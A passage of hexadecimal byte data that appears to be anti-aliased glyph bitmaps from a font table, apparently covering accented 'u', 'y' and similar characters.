0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A,
0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60,
0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85,
0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF,
0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x5B, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x35, 0x48, 0xFF, 0xFF,
0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF,
0xFF, 0x22, 0x35, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9F, 0xFF, 0xFF, 0xFF, 0x0F, 0x21, 0xFF, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFB, 0x00, 0x08, 0xF6, 0xFF, 0xFF,
0xE6, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xF5, 0xFF, 0xFF, 0xD9,
0x00, 0x00, 0xB2, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6C, 0xFF, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0xF1, 0x37, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x5D, 0xFD, 0xFF, 0xFF, 0xFF, 0x3D, 0x00, 0x00, 0x10, 0xE6, 0xFF, 0xFF,
0xFF, 0xF0, 0x50, 0x0E, 0x00, 0x00, 0x01, 0x27, 0x76, 0xFD, 0xFF, 0xFF, 0xFF, 0xCD, 0x03, 0x00,
0x00, 0x00, 0x47, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xD3, 0xC2, 0xF1, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xF6, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xF6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xB4,
0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0xA4, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x5D, 0x7A, 0x93, 0xA3, 0x8F, 0x77, 0x54, 0x0B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x81, 0x81, 0x81,
0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0xC8, 0xFF, 0xFF, 0xFF, 0xF9, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x09, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0xFB, 0xFF, 0xFA, 0x37, 0xCA, 0xFF,
0xFF, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xDB, 0xFF,
0xFF, 0x79, 0x00, 0x26, 0xF5, 0xFF, 0xFF, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x3F, 0xAF, 0xAF, 0x98, 0x02, 0x00, 0x00, 0x5A, 0xAF, 0xAF, 0x82, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xC8, 0xC8, 0xC8, 0x45, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xC8, 0xC8, 0xC8, 0x28, 0x60, 0xFF, 0xFF, 0xFF,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF,
0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A,
0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60,
0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85,
0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF,
0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x5B, 0xFF, 0xFF,
0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF,
0xFF, 0x35, 0x48, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF, 0x22, 0x35, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9F, 0xFF, 0xFF, 0xFF, 0x0F, 0x21, 0xFF, 0xFF, 0xFF,
0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFB,
0x00, 0x08, 0xF6, 0xFF, 0xFF, 0xE6, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0B, 0xF5, 0xFF, 0xFF, 0xD9, 0x00, 0x00, 0xB2, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF,
0xF1, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D, 0xFD, 0xFF, 0xFF, 0xFF, 0x3D, 0x00,
0x00, 0x10, 0xE6, 0xFF, 0xFF, 0xFF, 0xF0, 0x50, 0x0E, 0x00, 0x00, 0x01, 0x27, 0x76, 0xFD, 0xFF,
0xFF, 0xFF, 0xCD, 0x03, 0x00, 0x00, 0x00, 0x47, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xD3, 0xC2,
0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xF6, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB, 0x46, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2D, 0xB4, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0xA4, 0x1B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x5D, 0x7A, 0x93, 0xA3, 0x8F,
0x77, 0x54, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C,
0x8F, 0x8F, 0x70, 0x00, 0x18, 0x8F, 0x8F, 0x8F, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0xD1, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x4C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0xD1, 0x00, 0x33, 0xFF,
0xFF, 0xFF, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0xFF,
0xFF, 0xD1, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2D, 0x49, 0x49, 0x37, 0x00, 0x09, 0x49, 0x49, 0x49, 0x11, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xC8, 0xC8, 0xC8, 0x45, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xC8, 0xC8, 0xC8, 0x28, 0x60, 0xFF, 0xFF, 0xFF,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF,
0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A,
0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60,
0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85,
0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF,
0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x5B, 0xFF, 0xFF,
0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF,
0xFF, 0x35, 0x48, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF, 0x22, 0x35, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9F, 0xFF, 0xFF, 0xFF, 0x0F, 0x21, 0xFF, 0xFF, 0xFF,
0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFB,
0x00, 0x08, 0xF6, 0xFF, 0xFF, 0xE6, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0B, 0xF5, 0xFF, 0xFF, 0xD9, 0x00, 0x00, 0xB2, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF,
0xF1, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D, 0xFD, 0xFF, 0xFF, 0xFF, 0x3D, 0x00,
0x00, 0x10, 0xE6, 0xFF, 0xFF, 0xFF, 0xF0, 0x50, 0x0E, 0x00, 0x00, 0x01, 0x27, 0x76, 0xFD, 0xFF,
0xFF, 0xFF, 0xCD, 0x03, 0x00, 0x00, 0x00, 0x47, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xD3, 0xC2,
0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xF6, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB, 0x46, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2D, 0xB4, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0xA4, 0x1B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x5D, 0x7A, 0x93, 0xA3, 0x8F,
0x77, 0x54, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x70, 0x81, 0x81, 0x81, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xFF, 0xFF, 0xFF, 0xC4, 0x09,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x11, 0xE8, 0xFF, 0xFF, 0xD1, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xDC, 0x18, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFE, 0xFF,
0xE6, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x72, 0xAF, 0xAF, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xC8, 0xC8, 0xC8, 0xBA, 0x09,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xAC, 0xC8, 0xC8, 0xC8,
0x67, 0x0D, 0xE3, 0xFF, 0xFF, 0xFF, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x67, 0xFF, 0xFF, 0xFF, 0xF3, 0x1D, 0x00, 0x4E, 0xFF, 0xFF, 0xFF, 0xF8, 0x23, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0xED, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00,
0x00, 0xAC, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0xFF, 0xFF, 0xFF, 0xC9, 0x02, 0x00, 0x00, 0x00, 0x19, 0xF0, 0xFF, 0xFF, 0xFF, 0x4E, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xFD, 0xFF, 0xFF, 0xFB, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0xFF, 0xFF, 0xFF, 0xDE, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xC9, 0xFF, 0xFF, 0xFF,
0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xC4, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00,
0x00, 0x00, 0x64, 0xFF, 0xFF, 0xFF, 0xDC, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A,
0xF9, 0xFF, 0xFF, 0xF7, 0x21, 0x00, 0x00, 0x00, 0x11, 0xEB, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xFF, 0xB2, 0x00, 0x00, 0x00, 0x96,
0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xD8,
0xFF, 0xFF, 0xFF, 0x4B, 0x00, 0x32, 0xFD, 0xFF, 0xFF, 0xEB, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFE, 0xFF, 0xFF, 0xDC, 0x09, 0xC6, 0xFF, 0xFF, 0xFF,
0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF,
0xFF, 0xFF, 0xD7, 0xFF, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0x23, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0xFF, 0xFF, 0xFF, 0xD1, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xFF,
0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49,
0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF,
0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0xFF, 0xFF, 0xFF, 0x64,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x19,
0x1C, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x60, 0xCD, 0xF8, 0xFF,
0xFF, 0xF8, 0xD6, 0x99, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0x6B, 0x00, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x3E, 0x00, 0x00, 0x20, 0xFF, 0xFF, 0xFF, 0xEF, 0x4F, 0x10,
0x00, 0x16, 0x94, 0xFE, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFC, 0x3A, 0x00, 0x00,
0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xFF, 0x1D, 0x00, 0xB8, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x27, 0xFF, 0xFF, 0xFF, 0x4C, 0x00, 0xCE, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0x53, 0x00, 0xE1, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x30, 0xFF, 0xFF, 0xFF, 0x19, 0x00, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xAC, 0xFF, 0xFF, 0xDB, 0x00, 0x00, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x06, 0x2A, 0xAE, 0xFF, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0xED,
0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0x8F, 0x01, 0x00, 0x00, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA0, 0x18, 0x00, 0x00, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0xFC,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDE, 0x1B, 0x00, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x08,
